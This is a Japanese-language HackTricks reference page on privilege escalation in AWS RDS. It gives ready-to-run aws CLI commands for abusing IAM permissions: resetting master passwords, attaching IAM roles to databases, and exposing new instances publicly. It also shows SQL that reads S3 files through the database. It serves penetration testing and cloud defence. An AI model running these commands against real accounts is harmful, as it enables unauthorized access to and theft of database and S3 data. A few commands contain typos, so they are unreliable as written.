AWS - RDS Privesc

htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学びましょう

HackTricks をサポートする他の方法:

RDS - 関係データベースサービス

RDSに関する詳細情報は次を参照してください:

pageAWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

この権限を持っていると、攻撃者はマスターユーザーのパスワードを変更し、データベース内のログインを変更できます。

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

データベースに連絡することができる必要があります(通常、内部ネットワークからのみアクセス可能です)。

潜在的な影響: データベース内で機密情報を見つける。

rds-db:connect

ドキュメントによると、この権限を持つユーザーはDBインスタンスに接続できる可能性があります。

RDSロールIAM権限の悪用

Postgresql(Aurora)

**SELECT datname FROM pg_database;を実行して、rdsadmin**というデータベースが見つかった場合、AWSのPostgreSQLデータベースにアクセスしていることがわかります。

まず、このデータベースが他のAWSサービスにアクセスするために使用されているかどうかを確認できます。インストールされた拡張機能を確認することでこれを確認できます:

SELECT * FROM pg_extension;

もし**aws_s3のようなものを見つけた場合、このデータベースがS3に対するある種のアクセスを持っていると推定できます(aws_mlaws_lambda**などの他の拡張子もあります)。

また、aws rds describe-db-clustersを実行する権限がある場合、AssociatedRolesフィールドでクラスタにIAMロールがアタッチされているかどうかを確認できます。もしあれば、そのデータベースが他のAWSサービスにアクセスするために準備されていると推定できます。ロールの名前(またはロールの権限を取得できる場合)に基づいて、データベースがどのような追加アクセス権限を持っているかを推測することができます。

さて、バケット内のファイルを読むには、フルパスを知る必要があります。次のようにして読むことができます:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

もし生のAWS資格情報を持っている場合、それらを使用してS3データにアクセスすることもできます。

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

PostgresqlはS3にアクセスするために任意のパラメータグループ変数を変更する必要はありません

Mysql (Aurora)

Mysql内で、クエリ**SELECT User, Host FROM mysql.user;を実行し、rdsadmin**というユーザーがいる場合、AWS RDS mysql db内にいると推定できます。

Mysql内で**show variables;を実行し、aws_default_s3_roleaurora_load_from_s3_roleaurora_select_into_s3_role**などの変数に値がある場合、データベースがS3データにアクセスする準備が整っていると推定できます。

また、aws rds describe-db-clustersを実行する権限がある場合、クラスターに関連付けられたロールがあるかどうかを確認できます(通常、AWSサービスへのアクセスを意味します)。

今、バケット内のファイルを読むには、完全なパスを知る必要があります。次のようにして読むことができます:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

rds:AddRoleToDBClusterおよびiam:PassRole権限を持つ攻撃者は、指定されたロールを既存のRDSインスタンスに追加できます。これにより、攻撃者は機密データにアクセスしたり、インスタンス内のデータを変更したりする可能性があります。

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

潜在的影響: RDSインスタンス内の機密データへのアクセスやデータへの不正な変更。 一部のDBは追加の設定が必要な場合があります。たとえば、Mysqlでは、パラメータグループでロールARNを指定する必要があります。

rds:CreateDBInstance

この権限だけで、攻撃者はすでに存在するクラスタ内に新しいインスタンスを作成し、IAMロールをアタッチすることができます。彼はマスターユーザーパスワードを変更することはできませんが、新しいデータベースインスタンスをインターネットに公開する可能性があります。

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

TODO: テスト

rds:CreateDBInstanceiam:PassRole の権限を持つ攻撃者は、指定されたロールがアタッチされた新しいRDSインスタンスを作成することができます。攻撃者はその後、インスタンス内の機密データにアクセスしたり、データを変更する可能性があります。

アタッチするロール/インスタンスプロファイルのいくつかの要件(こちらから):

  • プロファイルはあなたのアカウントに存在している必要があります。

  • プロファイルには、Amazon EC2が前提とするIAMロールを持っている必要があります。

  • インスタンスプロファイル名と関連するIAMロール名は、接頭辞 AWSRDSCustom で始まる必要があります。

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

潜在的な影響: RDSインスタンス内の機密データへのアクセスまたは権限のないデータの変更。

rds:AddRoleToDBInstance, iam:PassRole

rds:AddRoleToDBInstanceおよびiam:PassRoleの権限を持つ攻撃者は、指定されたロールを既存のRDSインスタンスに追加できます。これにより、攻撃者はインスタンス内の機密データにアクセスしたり、データを変更したりする可能性があります。

このDBインスタンスはクラスターの外にある必要があります

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

潜在的な影響: RDSインスタンス内の機密データへのアクセスやデータへの不正な変更。

htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

最終更新